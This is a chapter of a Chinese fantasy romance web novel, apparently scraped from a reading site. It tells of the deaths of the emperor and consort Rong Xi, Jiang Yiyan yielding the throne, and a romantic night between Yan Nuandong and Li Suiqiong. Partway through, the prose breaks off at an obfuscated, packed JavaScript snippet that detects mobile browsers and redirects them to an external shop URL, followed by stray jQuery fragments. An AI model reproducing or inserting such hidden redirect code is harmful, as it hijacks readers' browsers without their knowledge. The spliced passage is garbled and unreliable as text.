76. 珍惜当下

作品:《恰巧那雪逢春

    江逸衍忍着哭声,立在他们跟前,不停地为他们传输灵力。


    “衍儿,别白费力气了,没用的。”


    容熙欲伸手拦他,却发现根本抬不起手臂,只能张口劝他。


    江逸衍红着眼摇头:“母妃,你用的到底是什么禁术,告诉我好不好?”


    容熙苦笑一声,看向身旁奄奄一息的砦皇。


    “这都是命。”


    又转眸对江逸衍扯出一抹微笑,虚弱道:“衍儿,再抱抱母妃和你父皇吧。”


    “母妃,已经好久都没有抱过衍儿了。”


    语落,江逸衍收回法力,俯身呜咽着将二人轻轻抱住,泣不成声。


    砦皇勉强还能伸出手,轻轻拍了拍江逸衍的后背,安抚他。


    “衍儿,不哭,是父皇不好,连累了熙儿,也连累了你,这么多年,你为了治好你母妃,定然受了不少苦,可父皇竟一点忙都没帮上。”


    “父皇没什么能留给你的,唯有江山,衍儿你……”


    江逸衍疯狂摇头,哽咽出声,打断他:“我不要,我不要,我不要,是我不孝,是我太自私,一走就是十二年,都没好好陪陪父皇,我知错了。”


    “母妃,求你告诉我,我到底怎么做才能救你们?你用的什么禁术,告诉衍儿,好不好?”


    他看向容熙祈求。


    然而,容熙含泪摇头:“没用的。”


    她将视线移至燕暖冬身上:“陷害赤星尊的人,我的确不知是谁,是他告诉我,三百多年前,他亲眼见到,你附身寒魂血莲从挽青原手中救下赤星尊。”


    “若你们想找到他,可以去魔、仙、人三界的交界处——珍珠村碰碰运气,倘若他真是灭族通灵族之人,还请诸位帮帮衍儿,或者,劝他放下仇恨,不要像我一样。”


    说到这里,她又看向江逸衍与砦皇,自嘲一笑,继续道:“我这一生,总是在亏欠身边人,无论是族人、爱人、还是衍儿,我都没有对他们尽到应有的职责。”


    一口气从她口中长长叹出,夹杂在江逸衍的哭声中。


    燕暖冬听得出,她叹的不是无奈,是后悔、自责。


    房间中只有他们三人身上被披上月光,可在此时,照住他们的更像是黑暗。


    容熙又看向愉可期,意有所指:“所以,珍惜当下,莫要想将来,老天或许只给你一次珍惜的机会,没抓到,那便是真的失去了。”


    她说话间,燕暖冬只觉得她的手不断被李碎琼握紧。


    这个傻子。


    为了让他安心,便也暗自握紧他的手。


    而容熙说完最后一句话,与砦皇双双阖上了眼,软在江逸衍怀中。


    结束了她这悲剧的一生。


    江逸衍悲痛的哭喊声响彻宫殿。


    月光依旧,黑暗依旧。


    同时失去两位至亲,这种痛苦,是谁都很难承受。


    即便是燕暖冬也难免有几分触动,不忍再看下去,拉着李碎琼悄悄离开了宫殿。


    刚至门口,就见到一路狂奔而来,双目通红的江北策。


    不久之后,皇宫敲响丧钟。


    京城中各家各户断断续续灭了烛光,唯有砦皇宫陆陆续续被烛光点亮。


    燕暖冬与李碎琼心照不宣均没打算回夜朔宫,而是手牵着手漫步走在空旷的京城街道。


    今晚的月亮真的很亮,抬眸看,天空是暗暗的浅蓝色,还混着些许云絮,倒没几颗星辰。


    李碎琼与燕暖冬十指相扣,垂眸看着脚下随他们移动的影子。


    幸得上天垂怜,给了他第二次机会。


    可是,依旧好可惜,第一次机会已经被他用掉了。


    与燕暖冬初见时,他就该明确自己心意的,不该发现的如此缓慢。


    察觉到李碎琼此时低落的情绪,燕暖冬自然知道他是受容熙那番话的影响。


    一直想着该怎么哄他高兴。


    不知不觉来到城外的湖水边,注意到天上各种形状的云彩,倒映在湖水中。


    她灵机一动,调动灵力,将它们汇聚成一大大的心形云朵,并在自己制作的这朵心形云彩上,刻上粉色的‘李碎琼’三个大字,故意留下一半空隙。


    而后眉眼含笑转眸看向李碎琼。


    注视着燕暖冬一举一动的李碎琼微愣,随即反应过来,扬起唇角,伸手小心翼翼地在他的名字旁边,也刻上粉色的‘燕暖冬’三个字迹。


    之后,两人心有灵犀地一同施法用结界将这片云保护起来,并固定在原位,倒映在湖水正中间。


    他们牵起嘴角,心满意足地看着对方的名字。


    “你的字好丑。”


    而燕暖冬又将目光转向歪歪斜斜的‘燕暖冬’三个大字,忍不住笑出声,打破了宁静的氛围。


    这句话,让李碎琼备受打击,委屈地转向她:“燕暖冬。”


    燕暖冬憋着笑,像哄小狗一样刮了刮他的下颌,突然好奇。


    “李碎琼,你为何每次都‘燕暖冬’,‘燕暖冬’地叫我?也不给我起个爱称,或者叫我‘暖冬’也行啊,每次都叫我全名,你看我还给你起了个小名,李雪花呢。”


    本想解释的李碎琼想到她刚嘲笑完自己的字。


    于是一手按住她不老实的手,一手抬起轻轻抚摸她的脸颊,垂眸带着溺死人的深情,缓缓凑近燕暖冬唇边。


    周围空气温度也随之升温。


    在即将吻上去时,李碎琼见燕暖冬屏住呼吸,一脸期待地阖上双眸的模样。


    他达到目的般停住,勾起唇角,故意用燕暖冬招架不住的声线,低声问。


    “想知道?”


    燕暖冬依旧闭着眼,轻轻点头,主动撅起粉嘟嘟的双唇。


    见她这样,李碎琼眼中爱意化作熔岩,终究没忍住,轻轻吻了上去,随后松开她。


    用带着欠揍的语气,低笑道:“就不告诉你。”


    说罢,趁她闭眼反应空隙,偷笑着转身离开。


    燕暖冬睁眼,一愣,意识到被他耍了,立马挽起袖子追了上去。


    “好啊你,敢耍我!”


    在清冷的晚风中,两人围绕着湖边追逐打闹,天上云朵换了一波又一波,唯有专属于他们的那一朵,始终纹丝不动。


    而湖水中倒映的那朵随着被掀起的涟漪一同晃动,并与他们欢愉的笑声一起。


    待天微亮,两人携手又来到砦皇宫。


    这时的皇宫里,所有人都跪趴在地,尤其是砦皇寝宫外,跪满了人。


    不难看出,大多都是嫔妃皇亲贵族,有的时不时发出一声嚎哭。


    江逸衍他们还在房间里。


    差不多又过了半个时辰,江逸衍红着眼缓步走了出来,面无人色。


    江北策与愉可期跟在他身后。


    顿了顿,他忍着哭意,张口:“父皇遗谕,国不可一日无君,长皇子江于宣秉性刚直,宽仁爱人,可托社稷,即日登基。”


    “诸皇子、臣子当安分守己,同心同德,辅佐新帝,凡有二心者,诛无赦。”


    此言一出,众人皆惊,包括跪在地上的江于宣。


    燕暖冬也惊异地看着江逸衍,昨夜她分明听砦皇把皇位传给他了呀。


    刚认识的时候,他为了皇位可是连自己亲兄弟都算计的,没想到竟然就这样把皇位让出去了。


    还是江于宣,不是江北策,他不是跟江北策和好了吗?


    率先反应过来的几位大臣,眼含热泪叩首道:“臣等遵旨!”


    而后便是众皇子的声音。<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16836981|188783||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>“儿臣遵旨!”


    紧接着便是其余人一同齐声道:“臣等遵旨。”


    江逸衍面无表情地垂眸看着他们,随后转身,对上江北策的双目。


    江北策似乎对他的抉择很满意,眼中带着一丝笑意。


    两人无言,又一同走进房间中。


    下葬这日,人均着丧服,砦皇与熙容合葬同一棺木之中。


    而后又过了几日,新帝登基,四方臣服,江逸衍也在其中。


    声势赫奕,天下大赦,京中一片沸腾。


    燕暖冬实在好奇,趁他们上朝,拉着愉可期在京城街道闲聊。


    “江逸衍以前不是很想当皇帝的吗?怎么突然转性了,说让就让?”


    愉可期思索片刻:“可能当皇帝要承担的责任太多,他觉得自己担不起吧。”


    燕暖冬追问:“那他为何不把皇位让给江北策,而是让给江于宣?”


    愉可期解释:“他是觉得江于宣更适合做皇帝,也会做好一个皇帝。”


    她看向燕暖冬:“你干嘛突然好奇这个?”


    燕暖冬直言:“我觉得他把皇位让出去是为了你,如果他当了皇帝,按照你的性格,肯定不会跟他在一起,更不会陪他待在皇宫。”


    闻言,愉可期不自然地喝了口酒,先走一步:“你想多了。”


    见状,燕暖冬急忙追了上去,八卦:“不仅如此,我感觉我这次回来,你对他的态度也是一百八十度大转变。”


    她晃了晃愉可期的胳膊:“你快跟我说说,我不在的这十二年,你们发生了什么?不然我真的会好奇的睡不着觉。”


    愉可期故作嫌弃地抽开手:“你好奇心怎么这么重?”


    说罢,捂着耳朵跑开了。


    见愉可期走了,燕暖冬转眸看向小包子,未料,小包子一撞上她的视线。


    也火速从她身上跳下去,去找愉可期:“可期,等等我。”


    燕暖冬:“……”


    而李碎琼宠溺一笑,走到燕暖冬身侧,拉起她的手,与她继续并排走。


    等到半下午,差不多退了朝。


    他们又回到砦皇宫。


    燕暖冬本想跟他们商讨去珍珠村的事,但江逸衍心情看起来实在很糟糕,便没有张口。


    他坐在长亭中的凳子上,抬眸含泪看向身旁的愉可期,问:“可期,你可知这世上有什么禁术能使人返老还童,如若不成功,还会累及施救者?”


    气氛陷入一片死寂,愉可期沉默片刻:“也许,白鹤知晓。”


    闻言,燕暖冬猛地拍手:“对呀,怎么把白鹤给忘了?”


    话刚说完,李碎琼双目漆黑,阴沉着脸拽了拽她,语气十分不悦。


    “怎么一提他,你就激动?”


    燕暖冬回怼:“怎么一提他,你就吃醋?”


    见他们这样,江逸衍脸上终于有了表情。


    嫌弃。


    他翻了个不易察觉的白眼,调用通灵石灵力,欲将他们传送至浮云坞。


    李碎琼继续说:“你要是没喜欢过他,我会吃醋吗?”


    燕暖冬脱口而出:“那也是以前,我现在只喜欢你。”


    她说这句话时,他们已经来到夏季的浮云坞,出现在门外的白鹤面前。


    因此这句话也被白鹤尽收耳底。


    李碎琼似是达到目的一般,露出得逞的微笑,点头,柔声回应她:“我也只爱你。”


    等燕暖冬反应过来时,周围人已全部向她与李碎琼投来异样的目光。


    黑蛇更是不加掩饰地龇牙咧嘴。


    她自己也尴尬到了极点,只有李碎琼是一点都不在乎别人的看法,面不改色地冲她得意地笑。


    还不忘挑衅地看一眼愣住的白鹤。